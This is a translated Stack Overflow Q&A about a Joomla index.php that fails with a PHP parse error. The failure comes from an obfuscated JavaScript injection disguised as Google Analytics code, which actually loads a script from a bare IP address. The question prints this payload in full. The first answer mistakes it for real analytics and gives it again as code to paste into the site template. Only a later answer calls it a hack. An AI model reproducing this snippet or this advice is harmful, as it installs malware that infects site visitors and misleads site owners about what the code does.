【问题标题】:Parse error: syntax error, unexpected '<' in - Fix? [closed]解析错误:语法错误,意外的 '<' in - 修复? [关闭]
【发布时间】:2010-11-02 19:21:03
【问题描述】:

Newb 在这里尝试修复我的 php 代码。在第 89 行出现错误。

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>

【问题讨论】:

  • 呃。您能否重新格式化您的源代码并给我们完整的错误信息?您正在编辑 Joomla/modul 包中的哪个文件?此剪报中的“89”行是哪一行?
  • 不要滥用条件运算符。您应该使用if 以获得更好的可读性。

标签: php parsing


【解决方案1】:

刚刚在 Joomla 1.5 包中找到了该文件。它是根目录中的 index.php。由于该文件仅包含 89 行并且已被证明可以正常工作,因此 joomla 本身没有问题。

像上面建议的那样,剪切第 89 行之后的所有内容并将文件恢复到其原始布局。如果不确定只需加载最新的 Joomla 1.5 安装并获取包含的“index.php”文件。顺便提一句。如果内容可能已经被 Joomla 压缩并返回,并且 body 标签已经关闭,那么以明文形式返回任何内容是不明智的。

如何恢复 Google 分析功能?查找您当前使用的模板,打开“index.php”文件并在 body 标记关闭之前添加以下内容:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>

【讨论】:

  • 再次-非常感谢。很棒的小网站。
【解决方案2】:

您正在开始另一个 &lt;?php 部分,而没有结束前一个部分。

您为什么首先要打开一个新的&lt;?php 部分?你已经合二为一了。只需删除第 89 行的 &lt;?php 部分,我怀疑它会没事的——至少在语法上是这样。

明确地说,您目前有:

<?php
stuff
<?php
more stuff
?>

你想要:

<?php
stuff
more stuff
?>

【讨论】:

  • 其他人处理我的后端并且站点已关闭。我正在尝试解决此问题以使其启动并运行,但 php 技能为零。任何帮助都会很棒。
  • 我的 php 技能也为零,但在这种情况下,错误消息似乎很清楚。
  • 我还要补充一点,更好的解决方案可能只是回滚到早期的工作版本。在不知道别人试图做什么的情况下修复别人的损坏可能是个坏主意。
  • 如果您找不到任何解决方案,您可以安全地删除此行 "echo JResponse::toString($mainframe->getCfg('gzip')); 之后的所有内容。您将暂时失去对谷歌分析的支持,但您将让您的网站重新上线。顺便提一句。永远不要直接编辑任何 Joomla 文件,因为这些更改将被下一次更新覆盖。而是尝试在您的模板中执行此类工作。
  • 谢谢。只是试图让该网站再次上线,然后让其他人明天弄清楚做错了什么或做错了什么。它似乎发生了。谢谢指点
【解决方案3】:

我认为这更像是某种类型的黑客搜索网络,我发现这发生在我的网站上,周日早上 9 点左右,直到那天晚上我休息时才发现它。我查看了我的 php 日志,发现它几乎插入了我拥有的每个 index.php 文件中。我从前一天晚上进行了全面恢复。并更改了我所有可以访问任何内容的密码。我正在阅读的网站(谷歌翻译的德语网站)我认为它正在将信息发送回乌克兰的某个地方,但我无法证实这一点。我只知道我没有把它放进去,它有 20 多页。幸运的是它把我的网站关闭了,所以我必须找出原因。

请发布您正在使用的 joomla 和其他组件的版本。

【讨论】:

    猜你喜欢
    • 2012-07-15
    • 1970-01-01
    • 1970-01-01
    • 2014-04-02
    • 2011-10-26
    • 2014-09-02
    • 2014-04-26
    • 2013-10-02
    • 2023-04-09
    相关资源
    最近更新 更多